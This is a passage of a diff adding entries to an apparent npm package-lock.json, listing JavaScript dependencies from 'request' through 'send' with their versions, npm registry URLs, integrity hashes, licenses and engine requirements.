23848+ "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==",
23849+ "license": "BSD-3-Clause",
23850+ "engines": {
23851+ "node": ">=0.6"
23852+ }
23853+ },
23854+ "node_modules/request/node_modules/tough-cookie": {
23855+ "version": "2.5.0",
23856+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz",
23857+ "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==",
23858+ "license": "BSD-3-Clause",
23859+ "dependencies": {
23860+ "psl": "^1.1.28",
23861+ "punycode": "^2.1.1"
23862+ },
23863+ "engines": {
23864+ "node": ">=0.8"
23865+ }
23866+ },
23867+ "node_modules/require-directory": {
23868+ "version": "2.1.1",
23869+ "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
23870+ "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
23871+ "license": "MIT",
23872+ "engines": {
23873+ "node": ">=0.10.0"
23874+ }
23875+ },
23876+ "node_modules/require-from-string": {
23877+ "version": "2.0.2",
23878+ "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
23879+ "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
23880+ "license": "MIT",
23881+ "engines": {
23882+ "node": ">=0.10.0"
23883+ }
23884+ },
23885+ "node_modules/require-main-filename": {
23886+ "version": "2.0.0",
23887+ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
23888+ "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
23889+ "license": "ISC"
23890+ },
23891+ "node_modules/requires-port": {
23892+ "version": "1.0.0",
23893+ "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
23894+ "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==",
23895+ "license": "MIT"
23896+ },
23897+ "node_modules/resolve": {
23898+ "version": "1.22.11",
23899+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz",
23900+ "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==",
23901+ "license": "MIT",
23902+ "dependencies": {
23903+ "is-core-module": "^2.16.1",
23904+ "path-parse": "^1.0.7",
23905+ "supports-preserve-symlinks-flag": "^1.0.0"
23906+ },
23907+ "bin": {
23908+ "resolve": "bin/resolve"
23909+ },
23910+ "engines": {
23911+ "node": ">= 0.4"
23912+ },
23913+ "funding": {
23914+ "url": "https://github.com/sponsors/ljharb"
23915+ }
23916+ },
23917+ "node_modules/resolve-cwd": {
23918+ "version": "3.0.0",
23919+ "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz",
23920+ "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==",
23921+ "license": "MIT",
23922+ "dependencies": {
23923+ "resolve-from": "^5.0.0"
23924+ },
23925+ "engines": {
23926+ "node": ">=8"
23927+ }
23928+ },
23929+ "node_modules/resolve-from": {
23930+ "version": "5.0.0",
23931+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
23932+ "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
23933+ "license": "MIT",
23934+ "engines": {
23935+ "node": ">=8"
23936+ }
23937+ },
23938+ "node_modules/resolve-url-loader": {
23939+ "version": "4.0.0",
23940+ "resolved": "https://registry.npmjs.org/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz",
23941+ "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==",
23942+ "license": "MIT",
23943+ "dependencies": {
23944+ "adjust-sourcemap-loader": "^4.0.0",
23945+ "convert-source-map": "^1.7.0",
23946+ "loader-utils": "^2.0.0",
23947+ "postcss": "^7.0.35",
23948+ "source-map": "0.6.1"
23949+ },
23950+ "engines": {
23951+ "node": ">=8.9"
23952+ },
23953+ "peerDependencies": {
23954+ "rework": "1.0.1",
23955+ "rework-visit": "1.0.0"
23956+ },
23957+ "peerDependenciesMeta": {
23958+ "rework": {
23959+ "optional": true
23960+ },
23961+ "rework-visit": {
23962+ "optional": true
23963+ }
23964+ }
23965+ },
23966+ "node_modules/resolve-url-loader/node_modules/convert-source-map": {
23967+ "version": "1.9.0",
23968+ "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
23969+ "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
23970+ "license": "MIT"
23971+ },
23972+ "node_modules/resolve-url-loader/node_modules/picocolors": {
23973+ "version": "0.2.1",
23974+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz",
23975+ "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==",
23976+ "license": "ISC"
23977+ },
23978+ "node_modules/resolve-url-loader/node_modules/postcss": {
23979+ "version": "7.0.39",
23980+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz",
23981+ "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==",
23982+ "license": "MIT",
23983+ "dependencies": {
23984+ "picocolors": "^0.2.1",
23985+ "source-map": "^0.6.1"
23986+ },
23987+ "engines": {
23988+ "node": ">=6.0.0"
23989+ },
23990+ "funding": {
23991+ "type": "opencollective",
23992+ "url": "https://opencollective.com/postcss/"
23993+ }
23994+ },
23995+ "node_modules/resolve-url-loader/node_modules/source-map": {
23996+ "version": "0.6.1",
23997+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
23998+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
23999+ "license": "BSD-3-Clause",
24000+ "engines": {
24001+ "node": ">=0.10.0"
24002+ }
24003+ },
24004+ "node_modules/resolve.exports": {
24005+ "version": "1.1.1",
24006+ "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.1.tgz",
24007+ "integrity": "sha512-/NtpHNDN7jWhAaQ9BvBUYZ6YTXsRBgfqWFWP7BZBaoMJO/I3G5OFzvTuWNlZC3aPjins1F+TNrLKsGbH4rfsRQ==",
24008+ "license": "MIT",
24009+ "engines": {
24010+ "node": ">=10"
24011+ }
24012+ },
24013+ "node_modules/retry": {
24014+ "version": "0.13.1",
24015+ "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz",
24016+ "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==",
24017+ "license": "MIT",
24018+ "engines": {
24019+ "node": ">= 4"
24020+ }
24021+ },
24022+ "node_modules/reusify": {
24023+ "version": "1.1.0",
24024+ "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz",
24025+ "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==",
24026+ "license": "MIT",
24027+ "engines": {
24028+ "iojs": ">=1.0.0",
24029+ "node": ">=0.10.0"
24030+ }
24031+ },
24032+ "node_modules/rimraf": {
24033+ "version": "3.0.2",
24034+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
24035+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
24036+ "deprecated": "Rimraf versions prior to v4 are no longer supported",
24037+ "license": "ISC",
24038+ "dependencies": {
24039+ "glob": "^7.1.3"
24040+ },
24041+ "bin": {
24042+ "rimraf": "bin.js"
24043+ },
24044+ "funding": {
24045+ "url": "https://github.com/sponsors/isaacs"
24046+ }
24047+ },
24048+ "node_modules/ripemd160": {
24049+ "version": "2.0.3",
24050+ "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.3.tgz",
24051+ "integrity": "sha512-5Di9UC0+8h1L6ZD2d7awM7E/T4uA1fJRlx6zk/NvdCCVEoAnFqvHmCuNeIKoCeIixBX/q8uM+6ycDvF8woqosA==",
24052+ "license": "MIT",
24053+ "dependencies": {
24054+ "hash-base": "^3.1.2",
24055+ "inherits": "^2.0.4"
24056+ },
24057+ "engines": {
24058+ "node": ">= 0.8"
24059+ }
24060+ },
24061+ "node_modules/ripemd160/node_modules/hash-base": {
24062+ "version": "3.1.2",
24063+ "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.1.2.tgz",
24064+ "integrity": "sha512-Bb33KbowVTIj5s7Ked1OsqHUeCpz//tPwR+E2zJgJKo9Z5XolZ9b6bdUgjmYlwnWhoOQKoTd1TYToZGn5mAYOg==",
24065+ "license": "MIT",
24066+ "dependencies": {
24067+ "inherits": "^2.0.4",
24068+ "readable-stream": "^2.3.8",
24069+ "safe-buffer": "^5.2.1",
24070+ "to-buffer": "^1.2.1"
24071+ },
24072+ "engines": {
24073+ "node": ">= 0.8"
24074+ }
24075+ },
24076+ "node_modules/rlp": {
24077+ "version": "2.2.7",
24078+ "resolved": "https://registry.npmjs.org/rlp/-/rlp-2.2.7.tgz",
24079+ "integrity": "sha512-d5gdPmgQ0Z+AklL2NVXr/IoSjNZFfTVvQWzL/AM2AOcSzYP2xjlb0AC8YyCLc41MSNf6P6QVtjgPdmVtzb+4lQ==",
24080+ "license": "MPL-2.0",
24081+ "dependencies": {
24082+ "bn.js": "^5.2.0"
24083+ },
24084+ "bin": {
24085+ "rlp": "bin/rlp"
24086+ }
24087+ },
24088+ "node_modules/rlp/node_modules/bn.js": {
24089+ "version": "5.2.2",
24090+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.2.tgz",
24091+ "integrity": "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw==",
24092+ "license": "MIT"
24093+ },
24094+ "node_modules/rollup": {
24095+ "version": "4.53.3",
24096+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.53.3.tgz",
24097+ "integrity": "sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA==",
24098+ "license": "MIT",
24099+ "peer": true,
24100+ "dependencies": {
24101+ "@types/estree": "1.0.8"
24102+ },
24103+ "bin": {
24104+ "rollup": "dist/bin/rollup"
24105+ },
24106+ "engines": {
24107+ "node": ">=18.0.0",
24108+ "npm": ">=8.0.0"
24109+ },
24110+ "optionalDependencies": {
24111+ "@rollup/rollup-android-arm-eabi": "4.53.3",
24112+ "@rollup/rollup-android-arm64": "4.53.3",
24113+ "@rollup/rollup-darwin-arm64": "4.53.3",
24114+ "@rollup/rollup-darwin-x64": "4.53.3",
24115+ "@rollup/rollup-freebsd-arm64": "4.53.3",
24116+ "@rollup/rollup-freebsd-x64": "4.53.3",
24117+ "@rollup/rollup-linux-arm-gnueabihf": "4.53.3",
24118+ "@rollup/rollup-linux-arm-musleabihf": "4.53.3",
24119+ "@rollup/rollup-linux-arm64-gnu": "4.53.3",
24120+ "@rollup/rollup-linux-arm64-musl": "4.53.3",
24121+ "@rollup/rollup-linux-loong64-gnu": "4.53.3",
24122+ "@rollup/rollup-linux-ppc64-gnu": "4.53.3",
24123+ "@rollup/rollup-linux-riscv64-gnu": "4.53.3",
24124+ "@rollup/rollup-linux-riscv64-musl": "4.53.3",
24125+ "@rollup/rollup-linux-s390x-gnu": "4.53.3",
24126+ "@rollup/rollup-linux-x64-gnu": "4.53.3",
24127+ "@rollup/rollup-linux-x64-musl": "4.53.3",
24128+ "@rollup/rollup-openharmony-arm64": "4.53.3",
24129+ "@rollup/rollup-win32-arm64-msvc": "4.53.3",
24130+ "@rollup/rollup-win32-ia32-msvc": "4.53.3",
24131+ "@rollup/rollup-win32-x64-gnu": "4.53.3",
24132+ "@rollup/rollup-win32-x64-msvc": "4.53.3",
24133+ "fsevents": "~2.3.2"
24134+ }
24135+ },
24136+ "node_modules/run-parallel": {
24137+ "version": "1.2.0",
24138+ "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
24139+ "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
24140+ "funding": [
24141+ {
24142+ "type": "github",
24143+ "url": "https://github.com/sponsors/feross"
24144+ },
24145+ {
24146+ "type": "patreon",
24147+ "url": "https://www.patreon.com/feross"
24148+ },
24149+ {
24150+ "type": "consulting",
24151+ "url": "https://feross.org/support"
24152+ }
24153+ ],
24154+ "license": "MIT",
24155+ "dependencies": {
24156+ "queue-microtask": "^1.2.2"
24157+ }
24158+ },
24159+ "node_modules/rustbn.js": {
24160+ "version": "0.2.0",
24161+ "resolved": "https://registry.npmjs.org/rustbn.js/-/rustbn.js-0.2.0.tgz",
24162+ "integrity": "sha512-4VlvkRUuCJvr2J6Y0ImW7NvTCriMi7ErOAqWk1y69vAdoNIzCF3yPmgeNzx+RQTLEDFq5sHfscn1MwHxP9hNfA==",
24163+ "license": "(MIT OR Apache-2.0)"
24164+ },
24165+ "node_modules/rxjs": {
24166+ "version": "7.8.2",
24167+ "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.2.tgz",
24168+ "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==",
24169+ "license": "Apache-2.0",
24170+ "dependencies": {
24171+ "tslib": "^2.1.0"
24172+ }
24173+ },
24174+ "node_modules/rxjs/node_modules/tslib": {
24175+ "version": "2.8.1",
24176+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
24177+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
24178+ "license": "0BSD"
24179+ },
24180+ "node_modules/safe-array-concat": {
24181+ "version": "1.1.3",
24182+ "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz",
24183+ "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==",
24184+ "license": "MIT",
24185+ "dependencies": {
24186+ "call-bind": "^1.0.8",
24187+ "call-bound": "^1.0.2",
24188+ "get-intrinsic": "^1.2.6",
24189+ "has-symbols": "^1.1.0",
24190+ "isarray": "^2.0.5"
24191+ },
24192+ "engines": {
24193+ "node": ">=0.4"
24194+ },
24195+ "funding": {
24196+ "url": "https://github.com/sponsors/ljharb"
24197+ }
24198+ },
24199+ "node_modules/safe-buffer": {
24200+ "version": "5.2.1",
24201+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
24202+ "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
24203+ "funding": [
24204+ {
24205+ "type": "github",
24206+ "url": "https://github.com/sponsors/feross"
24207+ },
24208+ {
24209+ "type": "patreon",
24210+ "url": "https://www.patreon.com/feross"
24211+ },
24212+ {
24213+ "type": "consulting",
24214+ "url": "https://feross.org/support"
24215+ }
24216+ ],
24217+ "license": "MIT"
24218+ },
24219+ "node_modules/safe-event-emitter": {
24220+ "version": "1.0.1",
24221+ "resolved": "https://registry.npmjs.org/safe-event-emitter/-/safe-event-emitter-1.0.1.tgz",
24222+ "integrity": "sha512-e1wFe99A91XYYxoQbcq2ZJUWurxEyP8vfz7A7vuUe1s95q8r5ebraVaA1BukYJcpM6V16ugWoD9vngi8Ccu5fg==",
24223+ "deprecated": "Renamed to @metamask/safe-event-emitter",
24224+ "license": "ISC",
24225+ "dependencies": {
24226+ "events": "^3.0.0"
24227+ }
24228+ },
24229+ "node_modules/safe-push-apply": {
24230+ "version": "1.0.0",
24231+ "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz",
24232+ "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==",
24233+ "license": "MIT",
24234+ "dependencies": {
24235+ "es-errors": "^1.3.0",
24236+ "isarray": "^2.0.5"
24237+ },
24238+ "engines": {
24239+ "node": ">= 0.4"
24240+ },
24241+ "funding": {
24242+ "url": "https://github.com/sponsors/ljharb"
24243+ }
24244+ },
24245+ "node_modules/safe-regex-test": {
24246+ "version": "1.1.0",
24247+ "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz",
24248+ "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==",
24249+ "license": "MIT",
24250+ "dependencies": {
24251+ "call-bound": "^1.0.2",
24252+ "es-errors": "^1.3.0",
24253+ "is-regex": "^1.2.1"
24254+ },
24255+ "engines": {
24256+ "node": ">= 0.4"
24257+ },
24258+ "funding": {
24259+ "url": "https://github.com/sponsors/ljharb"
24260+ }
24261+ },
24262+ "node_modules/safer-buffer": {
24263+ "version": "2.1.2",
24264+ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
24265+ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
24266+ "license": "MIT"
24267+ },
24268+ "node_modules/sanitize.css": {
24269+ "version": "13.0.0",
24270+ "resolved": "https://registry.npmjs.org/sanitize.css/-/sanitize.css-13.0.0.tgz",
24271+ "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA==",
24272+ "license": "CC0-1.0"
24273+ },
24274+ "node_modules/sass-loader": {
24275+ "version": "12.6.0",
24276+ "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz",
24277+ "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==",
24278+ "license": "MIT",
24279+ "dependencies": {
24280+ "klona": "^2.0.4",
24281+ "neo-async": "^2.6.2"
24282+ },
24283+ "engines": {
24284+ "node": ">= 12.13.0"
24285+ },
24286+ "funding": {
24287+ "type": "opencollective",
24288+ "url": "https://opencollective.com/webpack"
24289+ },
24290+ "peerDependencies": {
24291+ "fibers": ">= 3.1.0",
24292+ "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0",
24293+ "sass": "^1.3.0",
24294+ "sass-embedded": "*",
24295+ "webpack": "^5.0.0"
24296+ },
24297+ "peerDependenciesMeta": {
24298+ "fibers": {
24299+ "optional": true
24300+ },
24301+ "node-sass": {
24302+ "optional": true
24303+ },
24304+ "sass": {
24305+ "optional": true
24306+ },
24307+ "sass-embedded": {
24308+ "optional": true
24309+ }
24310+ }
24311+ },
24312+ "node_modules/sax": {
24313+ "version": "1.2.4",
24314+ "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
24315+ "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==",
24316+ "license": "ISC"
24317+ },
24318+ "node_modules/saxes": {
24319+ "version": "5.0.1",
24320+ "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz",
24321+ "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==",
24322+ "license": "ISC",
24323+ "dependencies": {
24324+ "xmlchars": "^2.2.0"
24325+ },
24326+ "engines": {
24327+ "node": ">=10"
24328+ }
24329+ },
24330+ "node_modules/scheduler": {
24331+ "version": "0.21.0",
24332+ "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.21.0.tgz",
24333+ "integrity": "sha512-1r87x5fz9MXqswA2ERLo0EbOAU74DpIUO090gIasYTqlVoJeMcl+Z1Rg7WHz+qtPujhS/hGIt9kxZOYBV3faRQ==",
24334+ "license": "MIT",
24335+ "dependencies": {
24336+ "loose-envify": "^1.1.0"
24337+ }
24338+ },
24339+ "node_modules/schema-utils": {
24340+ "version": "4.3.3",
24341+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.3.3.tgz",
24342+ "integrity": "sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA==",
24343+ "license": "MIT",
24344+ "dependencies": {
24345+ "@types/json-schema": "^7.0.9",
24346+ "ajv": "^8.9.0",
24347+ "ajv-formats": "^2.1.1",
24348+ "ajv-keywords": "^5.1.0"
24349+ },
24350+ "engines": {
24351+ "node": ">= 10.13.0"
24352+ },
24353+ "funding": {
24354+ "type": "opencollective",
24355+ "url": "https://opencollective.com/webpack"
24356+ }
24357+ },
24358+ "node_modules/schema-utils/node_modules/ajv": {
24359+ "version": "8.17.1",
24360+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
24361+ "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
24362+ "license": "MIT",
24363+ "dependencies": {
24364+ "fast-deep-equal": "^3.1.3",
24365+ "fast-uri": "^3.0.1",
24366+ "json-schema-traverse": "^1.0.0",
24367+ "require-from-string": "^2.0.2"
24368+ },
24369+ "funding": {
24370+ "type": "github",
24371+ "url": "https://github.com/sponsors/epoberezkin"
24372+ }
24373+ },
24374+ "node_modules/schema-utils/node_modules/ajv-keywords": {
24375+ "version": "5.1.0",
24376+ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
24377+ "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
24378+ "license": "MIT",
24379+ "dependencies": {
24380+ "fast-deep-equal": "^3.1.3"
24381+ },
24382+ "peerDependencies": {
24383+ "ajv": "^8.8.2"
24384+ }
24385+ },
24386+ "node_modules/schema-utils/node_modules/json-schema-traverse": {
24387+ "version": "1.0.0",
24388+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
24389+ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
24390+ "license": "MIT"
24391+ },
24392+ "node_modules/scrypt-js": {
24393+ "version": "3.0.1",
24394+ "resolved": "https://registry.npmjs.org/scrypt-js/-/scrypt-js-3.0.1.tgz",
24395+ "integrity": "sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA==",
24396+ "license": "MIT"
24397+ },
24398+ "node_modules/secp256k1": {
24399+ "version": "4.0.4",
24400+ "resolved": "https://registry.npmjs.org/secp256k1/-/secp256k1-4.0.4.tgz",
24401+ "integrity": "sha512-6JfvwvjUOn8F/jUoBY2Q1v5WY5XS+rj8qSe0v8Y4ezH4InLgTEeOOPQsRll9OV429Pvo6BCHGavIyJfr3TAhsw==",
24402+ "hasInstallScript": true,
24403+ "license": "MIT",
24404+ "dependencies": {
24405+ "elliptic": "^6.5.7",
24406+ "node-addon-api": "^5.0.0",
24407+ "node-gyp-build": "^4.2.0"
24408+ },
24409+ "engines": {
24410+ "node": ">=18.0.0"
24411+ }
24412+ },
24413+ "node_modules/secp256k1/node_modules/node-addon-api": {
24414+ "version": "5.1.0",
24415+ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-5.1.0.tgz",
24416+ "integrity": "sha512-eh0GgfEkpnoWDq+VY8OyvYhFEzBk6jIYbRKdIlyTiAXIVJ8PyBaKb0rp7oDtoddbdoHWhq8wwr+XZ81F1rpNdA==",
24417+ "license": "MIT"
24418+ },
24419+ "node_modules/select-hose": {
24420+ "version": "2.0.0",
24421+ "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz",
24422+ "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==",
24423+ "license": "MIT"
24424+ },
24425+ "node_modules/selfsigned": {
24426+ "version": "2.4.1",
24427+ "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.4.1.tgz",
24428+ "integrity": "sha512-th5B4L2U+eGLq1TVh7zNRGBapioSORUeymIydxgFpwww9d2qyKvtuPU2jJuHvYAwwqi2Y596QBL3eEqcPEYL8Q==",
24429+ "license": "MIT",
24430+ "dependencies": {
24431+ "@types/node-forge": "^1.3.0",
24432+ "node-forge": "^1"
24433+ },
24434+ "engines": {
24435+ "node": ">=10"
24436+ }
24437+ },
24438+ "node_modules/semaphore": {
24439+ "version": "1.1.0",
24440+ "resolved": "https://registry.npmjs.org/semaphore/-/semaphore-1.1.0.tgz",
24441+ "integrity": "sha512-O4OZEaNtkMd/K0i6js9SL+gqy0ZCBMgUvlSqHKi4IBdjhe7wB8pwztUk1BbZ1fmrvpwFrPbHzqd2w5pTcJH6LA==",
24442+ "engines": {
24443+ "node": ">=0.8.0"
24444+ }
24445+ },
24446+ "node_modules/semver": {
24447+ "version": "7.7.3",
24448+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz",
24449+ "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==",
24450+ "license": "ISC",
24451+ "bin": {
24452+ "semver": "bin/semver.js"
24453+ },
24454+ "engines": {
24455+ "node": ">=10"
24456+ }
24457+ },
24458+ "node_modules/send": {
24459+ "version": "0.19.1",
24460+ "resolved": "https://registry.npmjs.org/send/-/send-0.19.1.tgz",
24461+ "integrity": "sha512-p4rRk4f23ynFEfcD9LA0xRYngj+IyGiEYyqqOak8kaN0TvNmuxC2dcVeBn62GpCeR2CpWqyHCNScTP91QbAVFg==",
24462+ "license": "MIT",
24463+ "dependencies": {
24464+ "debug": "2.6.9",
24465+ "depd": "2.0.0",
24466+ "destroy": "1.2.0",
24467+ "encodeurl": "~2.0.0",
24468+ "escape-html": "~1.0.3",
24469+ "etag": "~1.8.1",
24470+ "fresh": "0.5.2",
24471+ "http-errors": "2.0.0",
24472+ "mime": "1.6.0",
24473+ "ms": "2.1.3",
24474+ "on-finished": "2.4.1",
24475+ "range-parser": "~1.2.1",
24476+ "statuses": "2.0.1"
24477+ },
24478+ "engines": {
24479+ "node": ">= 0.8.0"
24480+ }
24481+ },
24482+ "node_modules/send/node_modules/http-errors": {
24483+ "version": "2.0.0",
24484+ "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
24485+ "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
24486+ "license": "MIT",
24487+ "dependencies": {
24488+ "depd": "2.0.0",
24489+ "inherits": "2.0.4",
